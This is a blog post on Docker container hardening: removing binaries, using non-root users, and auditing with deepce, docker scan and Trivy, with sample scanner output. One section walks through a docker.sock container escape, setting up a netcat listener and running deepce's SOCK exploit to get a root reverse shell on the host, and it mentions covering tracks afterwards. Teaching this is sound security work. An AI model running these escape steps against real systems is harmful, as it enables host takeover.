Thinking and thoughts about container security
30/07/2022
“The image is to a class just like the container is to the object.” That phrase said by any programmer who likes object-oriented languages, operating systems and the coolest, the philosophy of computer science makes some sense, especially when talking about methods that can be dangerous for the whole application. Did you remember insecure deserialization?
Docker containers are widely implemented with the main goal to create isolated systems in a simple way, using file systems separated from the host, so that one or more process can use the entire simulated system without restrictions because, in a way, that environment was formed only for that purpose and there is no concern that one running process impacts the other in a way that they come into conflict.
An exemple of conflict could be when we have two software that require two different states of the same file, folder, library service and so on.
Containers are also interesting for creating sandboxes because it is a system that still depends on the host to work, it doesn’t need to have all the capabilities and functionality of an entire operating system but can simulate perfectly one. Every process running inside a container will have its subprocess running inside the container too, also being in that scope everything that can be accessed by the process, or should. In order to improve security, it is interesting that some actions are taken because those running processes can still be exploited but we can make the post exploitation difficult.
Some binaries can be deleted to make it difficult to enumeration in order to escape the container. It is good practice to delete those binaries used for network handling, which could be abused for host discovery prone to lateral movement.
rm -f /sbin/apk
rm -rf /etc/apk
rm -rf /lib/apk
rm -rf /usr/share/apk
rm -rf /var/lib/apk
rm /bin/ping
rm /bin/ping6
rm /bin/df
rm /bin/dd
rm /bin/kill
rm /bin/mount
rm /bin/umount
rm /bin/netstat
rm /bin/ps
rm /bin/busybox
rm /bin/sed
rm /bin/curl
rm /bin/wget
rm /usr/bin/traceroute
rm /usr/bin/traceroute6
rm /usr/bin/udhcpc6
rm /usr/bin/wget
rm /usr/bin/sftp
rm /usr/bin/nc
rm /usr/bin/whois
rm /usr/bin/crontab
rm /usr/bin/host
rm /usr/sbin/arping
rm /usr/sbin/chroot
rm /usr/sbin/ntpd
rm /usr/sbin/sendmail
rm /sbin/arp
rm /sbin/acpid
rm /sbin/ifconfig
rm /sbin/ip*
Several images still have the package manager active, which eventually can become a vector, mainly for downloading tools into the container. Taking away any package manager is essential. Here it is shown the disabling of the apk for Alpine since most of the images are formed from this one, but for other images the process would be the same. And the same idea applies to those images that encapsulate the entire environment of a programming language, such as Golang that has its own program and library manager.
It is important to carefully evaluate the binaries that will be deleted, they might eventually have a use.
Containers run their processes by default as root user. In any circumstance of use it is important to have a dedicated user for that. Regardless of the use, whether for sandbox or application/service hosting, it is important that the user who owns the process is underprivileged, without any ability to execute a arbitrary binary with SUID for example.
Example of how the image with a jailed user could be created.
RUM addgroup jgroup
RUM adduser --shell /sbin/nologin -g jgroup jappuser
And give permission to manage just the app folder.
RUM chown -R jappuser:jgroup /app
USER jappuser
Access is given to /sbin/nologin as the shell, the user’s entry point command, the nologin could be given to the root user as the root user has no password. This way only one message is shown to anyone who tries to interact with the command line. Clearly this will not be enough if an OS-level code injection is reached.
In order to audit Docker images, find security flaws and fix them to make containers more reliable, we have several tools with different focuses that can be used to cover each other’s scope gaps and improve security in all aspects.
Vulnerability scanning for local Docker images allows developers and development teams to review the security state of the container or images they created for some need, running the mentioned processes can greatly elevate the software trust state.
Deepce is an enumeration tool, focused on getting much information as possible, such information that can be useful for recognition, privilege escalation, lateral/horizontal movement or flaws to take advantage and perform exploitation capabilities. The tool is effective so it is quite famous in CTF challenges that have any Docker context.
There are several ways to use deepce to audit containers, such as copying the script into a container and running it from there, or using the docker-wrapper.sh command running it on the host machine, it will recognize all containers and execute deepce inside those. the first scenario is more likely to happen in CTF games or real intrusions and the second for auditing purpose.
Download deepce:
~$ git clone https://github.com/stealthcopter/deepce
~$ cd deepce/
First test scenario:
~# docker cp deepce.sh <container>:/
~# docker exec <container> /deepce.sh --install
Providing the --install parameter the tool will use the package manager (that’s why it’s interesting to get rid of it) to download more tools to complement the enumeration, like nmap to recognize the network, python, curl, netcat and other good binaries that are missing.
Second scenario:
~# ./docker-wrapper.sh
Here is a small brief of the output:
===================================( Enumerating Platform )===================================
[+] Inside Container ........ Yes
[+] Container Platform ...... docker
[+] Container tools ......... None
[+] User .................... root
[+] Groups .................. root bin daemon sys adm disk wheel floppy dialout tape video
[+] Docker Executable ....... Not Found
[+] Docker Sock ............. Not Found
[+] Docker Version .......... Version Unknown
==================================( Enumerating Container )===================================
[+] Container ID ............ 3eb15...
[+] Container Full ID ....... 3eb15...
[+] Container Name .......... Could not get container name through reverse DNS
[+] Container IP ............ 172.17.0.2
[+] DNS Server(s) ........... 172.27.0.1
[+] Host IP ................. 172.17.0.1
[+] Operating System ........ Linux
[+] Kernel .................. 5XXX-microsoft-standard-WSL2
[+] Arch .................... x86_64
[+] CPU ..................... 11th Gen Intel(R) Core(TM) XX-XXX
[+] Useful tools installed .. Yes
/usr/bin/wget
/usr/bin/nc
/usr/bin/nslookup
/bin/hostname
[+] Dangerous Capabilities .. Unknown (capsh not installed)
[+] SSHD Service ............ No
[+] Privileged Mode ......... No
[+] Alpine Linux Version .... 3.16.1
[+] └── CVE-2019-5021 ....... No
...
[+] Attempting ping sweep of 172.17.0.2/24 (ping)
172.17.0.2 is Up
172.17.0.1 is Up
The tool has a good and wide range of tests. You can find out important information regarding the host system environment where the docker daemon is running, things that can be accessed in /proc but the tool already organizes it, in addition there are checks for known vulnerabilities and network hosts enumeration, dangerous (and useful in the context of exploration) binary capabilities and so on.
Imagine the situation where the docker API can be accessed from inside the container, this would be a problem because containers are running as root, and dockers accessing means the API can be abused. The sock file is found at /var/run/docker.sock, it exposes a HTTP API for interacting with the daemon, if it is possible to write to the file the user can completely control docker including creating new containers which can be used to get command execution as root on the host machine.
If you want to test the evasion method based on the exposed docker API and elevate to get a reverse shell, create a container with the volume being the sock file:
~# docker run -d -it --name test -v /var/run/docker.sock:/var/run/docker.sock alpine
Copy deepce.sh into the container:
~# docker cp deepce.sh test:/
Go inside the container and in another terminal start a listener to receive the connection back:
~# docker exec -ti test /bin/sh
On another machine:
~$ nc -lnvp 5555
Execute the following command to start the exploitation:
~# ./deepce.sh -e SOCK -i <IP> -p 5555
-e choose exploits. deepce has some exploits but in that case SOCK will be in use.
deepce will mount a new container containing the entire filesystem of the host machine, if all goes well a connection will be opened to nc with a interactive command line.
It is possible to use the parameter -l (listener) which will tell deepce to handle the back connection inside the container.
After many tests I have containers that were executed in the exploration attempts. As a good practice of covering tracks it is important to erase them
7d0c48024ba7 alpine "/bin/sh -c 'chroot …" 4 minutes ago Exited (1) 4 minutes ago adoring_golick
75943fb5bf19 alpine "/bin/sh -c 'chroot …" 19 minutes ago Exited (1) 19 minutes ago vigilant_ellis
42426ed9c336 alpine "/bin/sh -c 'chroot …" 20 minutes ago Exited (1) 20 minutes ago romantic_davinci
5e1b03bafe19 alpine "/bin/sh -c 'chroot …" 43 minutes ago Exited (1) 43 minutes ago determined_euler
a3a2cab10bb5 alpine "/bin/sh -c 'chroot …" 44 minutes ago Exited (1) 44 minutes ago flamboyant_curran
5904bacea376 alpine "/bin/sh -c 'chroot …" 45 minutes ago Exited (0) 45 minutes ago youthful_franklin
52194cded2c9 alpine "/bin/sh" 46 minutes ago Exited (0) 13 seconds ago test
docker scan is a built-in command that can perform a vulnerability scan against images by given name or ID, so docker can quickly identify CVEs that affect the image. This functionality is present on docker CLI and is based on an integration with Synk scanning engine which requires a account o Docker Hub to use the API key. If I’m not mistaken there is a limitation of one hundred container tests per month, which will satisfy if used well.
For testing purposes here is a very summarized example of a scan done on the first image released from the Apache web server. A summarized example because it generated too many report lines.
~# docker scan httpd:2.4.12
Package manager: deb
Project name: docker-image|httpd
Docker image: httpd:2.4.12
Platform: linux/amd64
Tested 120 dependencies for known vulnerabilities, found 288 vulnerabilities.
Debian 8 is no longer supported by the Debian maintainers. Vulnerability detection may be affected by a lack of security updates.
...
✗ High severity vulnerability found in glibc/libc-bin
Description: Access Restriction Bypass
Info: https://snyk.io/vuln/SNYK-DEBIAN8-GLIBC-356517
Introduced through: glibc/libc-bin@2.19-18, meta-common-packages@meta
From: glibc/libc-bin@2.19-18
From: meta-common-packages@meta > glibc/libc6@2.19-18
From: meta-common-packages@meta > glibc/multiarch-support@2.19-18
Fixed in: 2.19-18+deb8u4
✗ High severity vulnerability found in glibc/libc-bin
Description: Integer Overflow or Wraparound
Info: https://snyk.io/vuln/SNYK-DEBIAN8-GLIBC-356523
Introduced through: glibc/libc-bin@2.19-18, meta-common-packages@meta
From: glibc/libc-bin@2.19-18
From: meta-common-packages@meta > glibc/libc6@2.19-18
From: meta-common-packages@meta > glibc/multiarch-support@2.19-18
Fixed in: 2.19-18+deb8u2
✗ High severity vulnerability found in glibc/libc-bin
Description: Out-of-bounds Write
Info: https://snyk.io/vuln/SNYK-DEBIAN8-GLIBC-559494
Introduced through: glibc/libc-bin@2.19-18, meta-common-packages@meta
From: glibc/libc-bin@2.19-18
From: meta-common-packages@meta > glibc/libc6@2.19-18
From: meta-common-packages@meta > glibc/multiarch-support@2.19-18
...
A very popular and awesome tool for auditing containers is Trivy an open source project by Aquasec. The tool has a wide and deep repertoire of tests it is able to identify vulnerabilities, misconfigurations and secrets being exposed in the informed container, image, repository or Dockerfile, both in packages of the most used operating systems and in images that encapsulate specific languages.
├─────────────────────┼──────────────────┼──────────┼───────────────────────┼───────────────────────────┼──────────────────────────────────────────────────────────────┤
│ perl-base │ CVE-2017-12883 │ CRITICAL │ 5.20.2-3+deb8u1 │ 5.20.2-3+deb8u9 │ perl: Buffer over-read in regular expression parser │
│ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2017-12883 │
├─────────────────────┼──────────────────┼──────────┼───────────────────────┼───────────────────────────┼──────────────────────────────────────────────────────────────┤
│ perl-base │ CVE-2018-18311 │ CRITICAL │ 5.20.2-3+deb8u1 │ 5.20.2-3+deb8u12 │ perl: Integer overflow leading to buffer overflow in │
│ │ │ │ │ │ Perl_my_setenv() │
│ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2018-18311 │
├─────────────────────┼──────────────────┼──────────┼───────────────────────┼───────────────────────────┼──────────────────────────────────────────────────────────────┤
│ perl-base │ CVE-2018-6797 │ CRITICAL │ 5.20.2-3+deb8u1 │ │ perl: heap write overflow in regcomp.c │
│ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2018-6797 │
│ ├──────────────────┤ │ ├───────────────────────────┼──────────────────────────────────────────────────────────────┤
│ │ CVE-2018-6913 │ │ │ 5.20.2-3+deb8u10 │ perl: heap buffer overflow in pp_pack.c │
│ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2018-6913 │
│ ├──────────────────┼──────────┤ ├───────────────────────────┼──────────────────────────────────────────────────────────────┤
│ │ CVE-2015-8607 │ HIGH │ │ 5.20.2-3+deb8u2 │ perl-PathTools: Taint propagation flaw in canonpath() │
│ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2015-8607 │
├─────────────────────┼──────────────────┼──────────┼───────────────────────┼───────────────────────────┼──────────────────────────────────────────────────────────────┤
In general, because it’s kind hard to delve into because the tool has several very useful features, it’s essential in a development environment because of its wide capacity for analysis and providing data about containers, it’s capable of auditing images locally and remotely, images in tar files and even filesystems looking for security breaches.
In this example I scanned a Dockerfile:
╰─$ sudo trivy config .
2022-07-30T13:24:18.258-0300 INFO Misconfiguration scanning is enabled
2022-07-30T13:24:18.387-0300 INFO Detected config files: 1
Dockerfile (dockerfile)
Tests: 23 (SUCCESSES: 19, FAILURES: 4, EXCEPTIONS: 0)
Failures: 4 (UNKNOWN: 0, LOW: 0, MEDIUM: 1, HIGH: 3, CRITICAL: 0)
MEDIUM: Specify a tag in the 'FROM' statement for image 'openresty/openresty'
═════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════
When using a 'FROM' statement you should use a specific tag to avoid uncontrolled behavior when the image is updated.
See https://avd.aquasec.com/misconfig/ds001
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Dockerfile:1
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 [ FROM openresty/openresty
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
HIGH: Specify at least 1 USER command in Dockerfile with non-root user as argument
═════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════
Running containers with 'root' user can lead to a container escape situation. It is a best practice to run containers as non-root users, which can be done by adding a 'USER' statement to the Dockerfile.
See https://avd.aquasec.com/misconfig/ds002
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
HIGH: '-y' flag is missed: 'apt-get install wget -y'
═════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════
'apt-get' calls should use the flag '-y' to avoid manual user input.
See https://avd.aquasec.com/misconfig/ds021
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Dockerfile:15
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
15 [ RUN apt-get install wget -y
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
HIGH: '-y' flag is missed: 'apt-get update && apt-get install make && apt-get install gcc -y'
═════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════════
'apt-get' calls should use the flag '-y' to avoid manual user input.
See https://avd.aquasec.com/misconfig/ds021
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Dockerfile:2
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
2 [ RUN apt-get update && apt-get install make && apt-get install gcc -y
──────────────────────────────────────────────────────────────────────────────
In this case, the tool brings some good practices for the configuration of a Dockerfile. Always after an analysis it is good to save the result for future comparisons. Have reports made on a recurrent to have a history of improvements.
Scans through both the trivy and the docker command will rely heavily on fingerprints, which often generate false positives. Fixing all the flaws pointed out can also prohibit the application from working properly, it ends up deviating from the original objective of being something simple to configure for an exaggerated hardening. But anyway we have to be aware that automated scanners won’t find all problems, as various classes of vulnerabilities and manual analyzes are still necessary.
It is obvious that the security of the host system counts for much more when it comes to container security, but it is not every day that we have process leak failures or the possibility to overwrite runC that make it possible to escape from the container, so using secure images is good.
The process of hardening an image is something that has validity so it should be part of a test routine for deploying new containers or renewing them.
Container technology hardening is something interesting because I like to think about ways to harden my operating system, and thinking about possibilities to make images more secure an reliable opened my mind to several interesting problems that we have in our OS.